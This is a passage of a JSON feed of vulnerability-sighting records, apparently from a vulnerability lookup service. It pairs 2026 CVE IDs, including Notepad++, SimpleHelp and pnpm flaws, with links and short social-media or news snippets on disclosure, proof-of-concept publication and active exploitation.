"2026-06-26T20:35:22.694674Z"}, {"uuid": "4b258560-95f2-4670-a00d-f50dbf3c484b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48750", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9", "content": "", "creation_timestamp": "2026-06-26T20:35:25.112721Z"}, {"uuid": "50e8150e-f25d-47d7-8571-8ffd6c8f8867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48749", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv", "content": "", "creation_timestamp": "2026-06-26T20:35:27.554969Z"}, {"uuid": "22cfda24-0451-40af-80aa-8ee0a27fd11d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48770", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7x5pvrvb22", "content": "CVE-2026-48770 - Notepad++ WM_COPYDATA COPYDATA_FULL_CMDLINE local DoS crash\nCVE ID : CVE-2026-48770\n \n Published : June 26, 2026, 8:22 p.m. | 1\u00a0hour, 22\u00a0minutes ago\n \n Description : Notepad++ is a free and open-source source code editor. Prior to 8.9.6.1, a local process in t...", "creation_timestamp": "2026-06-26T22:03:30.244901Z"}, {"uuid": "9540d4be-7dfc-47b1-ac3e-fc4dcbb4d95b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7xgdxnff2l", "content": "CVE-2026-48800 - Notepad++: Arbitrary Code Execution via shortcuts.xml UserCommand Injection\nCVE ID : CVE-2026-48800\n \n Published : June 26, 2026, 8:12 p.m. | 1\u00a0hour, 32\u00a0minutes ago\n \n Description : Notepad++ is a free and open-source source code editor. Prior to 8.9.6.1, the ...", "creation_timestamp": "2026-06-26T22:08:20.491564Z"}, {"uuid": "0a376628-2cc8-43a4-b6b1-571bebdae342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7yf2fsvo2l", "content": "CVE-2026-48778 - Notepad++: Arbitrary Code Execution via config.xml commandLineInterpreter\nCVE ID : CVE-2026-48778\n \n Published : June 26, 2026, 8:21 p.m. | 1\u00a0hour, 23\u00a0minutes ago\n \n Description : Notepad++ is a free and open-source source code editor. Prior to 8.9.6.1, the \n ...", "creation_timestamp": "2026-06-26T22:25:29.820992Z"}, {"uuid": "a9be36c7-6346-4b4b-92c5-04ad194fa724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48990", "type": "published-proof-of-concept", "source": "https://github.com/authlib/joserfc/security/advisories/GHSA-wphv-vfrh-23q5", "content": "", "creation_timestamp": "2026-06-26T22:35:29.737678Z"}, {"uuid": "dc1b31e0-ba40-4eba-ba1b-a96dc22c7dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48801", "type": "published-proof-of-concept", "source": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4", "content": "", "creation_timestamp": "2026-06-26T22:35:32.156817Z"}, {"uuid": "327b419a-9eef-49fe-afb7-3493c13d311a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48790", "type": "published-proof-of-concept", "source": "https://github.com/tursodatabase/turso-cli/security/advisories/GHSA-57f6-pvx8-hwj6", "content": "", "creation_timestamp": "2026-06-26T22:35:34.832149Z"}, {"uuid": "aea2a9b4-6254-4c57-8838-4a376345afb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48995", "type": "published-proof-of-concept", "source": "https://github.com/pnpm/pnpm/security/advisories/GHSA-hg3w-7f8c-63hp", "content": "", "creation_timestamp": "2026-06-26T22:35:40.484571Z"}, {"uuid": "a0b073c5-97d1-43f5-adef-822c72e76c4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://www.acn.gov.it/portale/w/joomla-sp-page-builder-sfruttamento-attivo-in-rete-della-cve-2026-48908", "content": "Rilevato sfruttamento attivo in rete della CVE-2026-48908 \u2013 gi\u00e0 sanata dal vendor \u2013 presente nel plugin SP Page Builder per il noto CMS Joomla! Tale vulnerabilit\u00e0, qualora sfruttata, potrebbe consentire a un utente malintenzionato remoto di eseguire codice arbitrario sui sistemi interessati.", "creation_timestamp": "2026-06-27T01:00:38.965024Z"}, {"uuid": "f6771f1b-a5eb-4856-9e12-2421659c80f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48930", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpalhvozva2d", "content": "\ud83d\udccc CVE-2026-48930 - A flaw in Node.js TLS hostname handling can cause Embedded-nul hostnames can lead to silent authority rebinding due to c-string truncation in resolver... https://www.cyberhub.blog/cves/CVE-2026-48930", "creation_timestamp": "2026-06-27T04:07:06.651862Z"}, {"uuid": "ee3ec044-64a2-4e8c-b8b8-f78fd64eed68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48519", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpatu5nmht2n", "content": "\ud83d\udccc CVE-2026-48519 - Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) ... https://www.cyberhub.blog/cves/CVE-2026-48519", "creation_timestamp": "2026-06-27T06:37:08.460345Z"}, {"uuid": "7be8aec0-a66c-4b2f-88af-4b264c62497f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48519", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mpatu6qvlb2j", "content": "\ud83d\udccc CVE-2026-48519 - Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) ... https://www.potatohub.blog/cves/CVE-2026-48519", "creation_timestamp": "2026-06-27T06:37:09.026280Z"}, {"uuid": "aa3ffd98-333d-43ed-a8ee-2159eb5d889a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48864", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mpbfy7f3bh2z", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-48864 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/546 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-06-27T12:01:31.029641Z"}, {"uuid": "267c50da-12b7-4f0c-8093-f5983d6c6f43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpbxfpwbnc22", "content": "CVE-2026-48778 - Supply chain attack in Notepad++ pre-8.9.6.1. Unsanitized config.xml input leads to arbitrary command execution via File > Open Containing Folder > cmd. CVSS 7.8. No patch available. Disable feature or isolate. #CVE #Notepa...\n\nhttps://www.valtersit.com/cve/CVE-2026-48778/", "creation_timestamp": "2026-06-27T17:13:18.095696Z"}, {"uuid": "97fff186-f728-4c67-8510-6a6cc2eebbcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48137", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpcht44ex42h", "content": "\ud83d\udccc CVE-2026-48137 - There is an untrusted pointer dereference vulnerability in the NI grpc-device sideband streaming API that may allow an attacker to cause an arbitrary ... https://www.cyberhub.blog/cves/CVE-2026-48137", "creation_timestamp": "2026-06-27T22:07:07.267760Z"}, {"uuid": "4ebfe0b8-1809-4038-972e-450e6bd9fe61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48616", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpcjiqi7ax2x", "content": "\ud83d\udccc CVE-2026-48616 - Rocket.Chat versions <8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9, 7.10.13 has an access control vulnerability in Livechat files. Protected file ... https://www.cyberhub.blog/cves/CVE-2026-48616", "creation_timestamp": "2026-06-27T22:37:06.721649Z"}, {"uuid": "4d39548c-0440-4080-921b-7686192eee52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpdt2zdadd2y", "content": "\ud83d\udfe0 CVE-2026-48778 - High (7.8)\n\nNotepad++ is a free and open-source source code editor. Prior to 8.9.6.1, the  tag in config.xml ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48778/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-28T11:01:04.250422Z"}, {"uuid": "aa30f25c-2cb4-439b-a283-d663e1e446dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpe54k7uwr2x", "content": "\ud83d\udfe0 CVE-2026-48800 - High (7.8)\n\nNotepad++ is a free and open-source source code editor. Prior to 8.9.6.1, the  tag text content i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48800/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-28T14:00:53.068739Z"}, {"uuid": "5de8a24d-501b-4512-81c3-f05f3ebaac36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48746", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpfj2gy6pe2w", "content": "\ud83d\udccc CVE-2026-48746 - vLLM is an inference and serving engine for large language models (LLMs). From 0.3.0 until 0.22.0, a vulnerability in ASGI web servers and starlette's... https://www.cyberhub.blog/cves/CVE-2026-48746", "creation_timestamp": "2026-06-29T03:07:06.490057Z"}, {"uuid": "e7e29e84-8c87-4d01-86a9-d291bb95903a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48713", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpgajhqoho2u", "content": "\ud83d\udccc CVE-2026-48713 - Versions prior to 2.6.6 are vulnerable to prototype pollution via crafted missing-key strings when used to persist missing translation keys (e.g. via ... https://www.cyberhub.blog/cves/CVE-2026-48713", "creation_timestamp": "2026-06-29T10:07:06.876734Z"}, {"uuid": "ccddccea-ec37-454b-b287-c57e096af0a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/dataguidance.bsky.social/post/3mtjox3kkt326", "content": "Saxony\u2019s data protection authority warns WordPress and Joomla operators about critical vulnerabilities.\n\nKey actions:\n\ud83e\ude79 Patch CVE-2026-60137, CVE-2026-63030, and CVE-2026-48907\n\ud83d\udce3 Assess GDPR notification duties after unauthorized access\n\nLearn more: https://bit.ly/3ScJoJD", "creation_timestamp": "2026-08-20T16:44:02.052251Z"}, {"uuid": "14bfe593-e6be-4d67-a311-06a7db77e158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48714", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpgc74jvpf2w", "content": "\ud83d\udccc CVE-2026-48714 - i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. In versions prior to 3.9.7, ... https://www.cyberhub.blog/cves/CVE-2026-48714", "creation_timestamp": "2026-06-29T10:37:06.726015Z"}, {"uuid": "5034cab6-5a40-4d95-8809-926a2972c4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mpgnkfwvpl25", "content": "Hackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and Linux.", "creation_timestamp": "2026-06-29T14:00:16.824588Z"}, {"uuid": "bf64e8f5-bea7-44bf-a585-6453b7e7fc2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mpgp537lae2n", "content": "\ud83e\udd16 CVE-2026-48558 (CVSS 9.8): SimpleHelp RCE exploited in the wild deploying Djinn Stealer \u2014 cross-platform infostealer (Win/macOS/Linux). CISA KEV added.\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-critical-simplehelp-flaw-deploy-new-djinn-infostealer-taskweaver-malware/", "creation_timestamp": "2026-06-29T14:28:36.710774Z"}, {"uuid": "f1dd9cc5-18ee-49bd-b663-71ba206f3670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48770", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgq4266sd2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48770 \u0432 Notepad++: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/60139A03-9E85-4E7B-8888-2EF9C96FFD3D", "creation_timestamp": "2026-06-29T14:45:55.730194Z"}, {"uuid": "4d28b3ef-cd08-45e1-876a-7df7a41dacc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgqb7reuw2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48778 \u0432 Notepad++: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A8B51544-9497-4123-8AC9-8462B06A9F6A", "creation_timestamp": "2026-06-29T14:48:49.347773Z"}, {"uuid": "a269eaa4-1a13-47d9-9aff-7c49044bea55", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b3a20fd8-eebe-4a24-887e-3d9ad481e7d6", "content": "", "creation_timestamp": "2026-06-29T15:00:33.461318Z"}, {"uuid": "68e57489-e400-4678-b424-a2521f9e3caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mpgrirte6o25", "content": "CVE-2026-48558: Djinn Stealer Exploited In-the-Wild on SimpleHelp", "creation_timestamp": "2026-06-29T15:10:57.921711Z"}, {"uuid": "7774a8a0-a619-46d0-a131-4b24cb6d7330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mpgyew67m625", "content": "Unauthenticated attackers are exploiting a critical SimpleHelp RMM flaw (CVE-2026-48558) to create privileged accounts and steal AI/cloud keys. This isn't phishing; it's a logic flaw putting your core infrastructure at risk.\u2026\n\nhttps://www.tpp.blog/1spta96\n\n#cybersecurity #simplehelp #cve202648558", "creation_timestamp": "2026-06-29T17:14:05.221305Z"}, {"uuid": "3e9a1067-87f2-45f4-a2bc-d84b15e6bd38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgz4tnidx2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48294 \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 Adobe Acrobat \u0434\u043b\u044f Chrome: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/59C65601-6081-44ED-A91E-ADA9A1B6FDF9", "creation_timestamp": "2026-06-29T17:27:26.380148Z"}, {"uuid": "2c9c03db-59cc-4f04-88cb-cfa5ae7a39c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mph2xw4awv2t", "content": "SimpleHelp CVE-2026-48558 is being exploited to create privileged technician accounts and deploy TaskWeaver loader plus Djinn Stealer on Windows, macOS, and Linux, targeting credentials and cloud assets. #SimpleHelp #TaskWeaver #DjinnStealer", "creation_timestamp": "2026-06-29T18:00:28.566533Z"}, {"uuid": "236564a2-bc61-4165-87e8-0eaec356b63c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/scootersoftware.bsky.social/post/3mph5ozc74s2i", "content": "We've released Beyond Compare 5.2.3.32296.\n\nUpdated 7-zip to 26.01. Fixes CVE-2026-48095.\nFixed support for SFTP server-side CRC32 calculations using the check-file extension.\nOther minor fixes.", "creation_timestamp": "2026-06-29T18:49:11.205378Z"}, {"uuid": "d3d6edb8-8d9c-440a-97e9-72cf9a063261", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cdbc909e-25e9-4715-8ddf-2a0998483dfc", "content": "", "creation_timestamp": "2026-06-29T20:00:01.988851Z"}, {"uuid": "d5e2bdd9-a0c3-4952-b857-630c5d67494e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6868012", "content": "2026-06-29: [CVE-2026-48558] SimpleHelp Authentication Bypass VulnerabilitySimpleHelp contains an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. In a vulnerable configuration, a remote, unauthenticated attacker can submit a forged token containing arbitrary identity claims to obtain a fully authenticated technician session. In some configurations, this may also allow bypass of multi-factor authentication.\ncisakev", "creation_timestamp": "2026-06-29T20:05:32.014170Z"}, {"uuid": "23f8578a-e05f-4267-b6e8-ca3a4683096a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mphbyhlon52k", "content": "\ud83d\uded1 CVE-2026-48558\nSimpleHelp  SimpleHelp\nCVSS 9.5 / EPSS 1% / KEV \u2705\nTL;DR: SimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentic\u2026\nhttps://cvesentinel.com/report/CVE-2026-48558?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-06-29T20:06:06.625291Z"}, {"uuid": "d9dfafae-a1bc-4bb4-906e-cd212a3b1aff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/secdb.bsky.social/post/3mphf4gsuzb2d", "content": "\ud83d\udea8 CISA Adds One Known Exploited Vulnerability to Catalog (https://secdb.nttzen.cloud/security-advisory/detail/CISA-2026:0629)\n\n\u26a0\ufe0f CVE-2026-48558 - SimpleHelp Authentication Bypass Vulnerability\n\n\n#ZEN #SecDB #InfoSec #CISA_KEV", "creation_timestamp": "2026-06-29T21:01:57.735299Z"}, {"uuid": "7e10331f-ac5d-4a12-b801-482a3917091f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mphgzbfj3n2z", "content": "Threat actors exploit CVE-2026-48558 in SimpleHelp RMM to gain admin access, deploy TaskWeaver and Djinn Stealer, and exfiltrate extensive developer and AI assistant data.\n", "creation_timestamp": "2026-06-29T21:35:59.204076Z"}, {"uuid": "2df618af-9973-4af0-a35b-4a8d8217eacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48995", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphkrwxl4v2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48995 \u0432 pnpm: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/99EFC62C-5F37-473D-A881-ED8A69AC5963", "creation_timestamp": "2026-06-29T22:43:27.935366Z"}, {"uuid": "f85f4469-efdd-42af-9543-32a31daa7e63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mphnikjcez2r", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog , based on evidence of active exploitation. CVE-2026-48558 SimpleHelp Authentication\u2026\n\n\ud83d\udd17 https://hnow.live/a/4e2ac225", "creation_timestamp": "2026-06-29T23:31:54.490238Z"}, {"uuid": "2d1904c3-048e-437a-89d5-3ea1538bbfbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mphrf5lrf323", "content": "\ud83e\udd16 CVE-2026-48558 (CVSS 9.8): Auth bypass in SimpleHelp RMM delivering 'Djinn' infostealer targeting cloud & AI credentials. Exploited in the wild.\n\nhttps://www.darkreading.com/cyberattacks-data-breaches/djinn-stealer-targets-cloud-ai-credentials", "creation_timestamp": "2026-06-30T00:41:34.791149Z"}, {"uuid": "09b02ad5-54a4-4923-ab4b-5a4cd274fb74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mphrlvorlt2x", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (Jun 29)\n\nCVE-2026-48558 SimpleHelp\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-06-30T00:45:21.459453Z"}, {"uuid": "1e82f08b-0bbf-472f-8ece-9f6227e3e766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://www.darkreading.com/cyberattacks-data-breaches/djinn-stealer-targets-cloud-ai-credentials", "content": "The infostealer was delivered via CVE-2026-48558, a critical authentication bypass vulnerability in SimpleHelp, targeting credentials linking development and admin environments to wider enterprise systems.", "creation_timestamp": "2026-06-30T01:00:42.602331Z"}, {"uuid": "add41a8d-bfb2-473a-9353-d7d8bc4f72f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mphuvaf7g22o", "content": "CVE-2026-48558, a SimpleHelp authentication bypass, is exploited in the wild to deploy TaskWeaver and Djinn Stealer. CISA added it to KEV. Patch now.\n\n#SimpleHelp #CVE202648558 #InfoStealer #RMMSecurity #ExploitedInTheWild #CyberSecurity", "creation_timestamp": "2026-06-30T01:44:16.673189Z"}, {"uuid": "b7b41cf6-855d-4a71-a05b-e7c319fda22a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mphvwyursr23", "content": "'Djinn' Stealer Targets Cloud, AI Credentials\nThe infostealer was delivered via CVE-2026-48558, a critical authentication bypass vulnerability in SimpleHelp, targeting credentials linking development and admin environments to\u2026\n\n\ud83d\udd17 https://hnow.live/a/f106129a", "creation_timestamp": "2026-06-30T02:03:09.259130Z"}, {"uuid": "a2840a51-485d-4f0f-8b3b-444dc4f4f7a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mpi32vz6s622", "content": "\ud83d\udcf0 Celah Kritis SimpleHelp Dieksploitasi untuk Sebarkan Malware Baru Djinn Stealer\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/30/cve-2026-48558-simplehelp-dieksploitasi-djinn-stealer/\n\n", "creation_timestamp": "2026-06-30T03:34:48.927750Z"}, {"uuid": "2fd1b1e6-6047-4818-a7ca-a97a914789b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 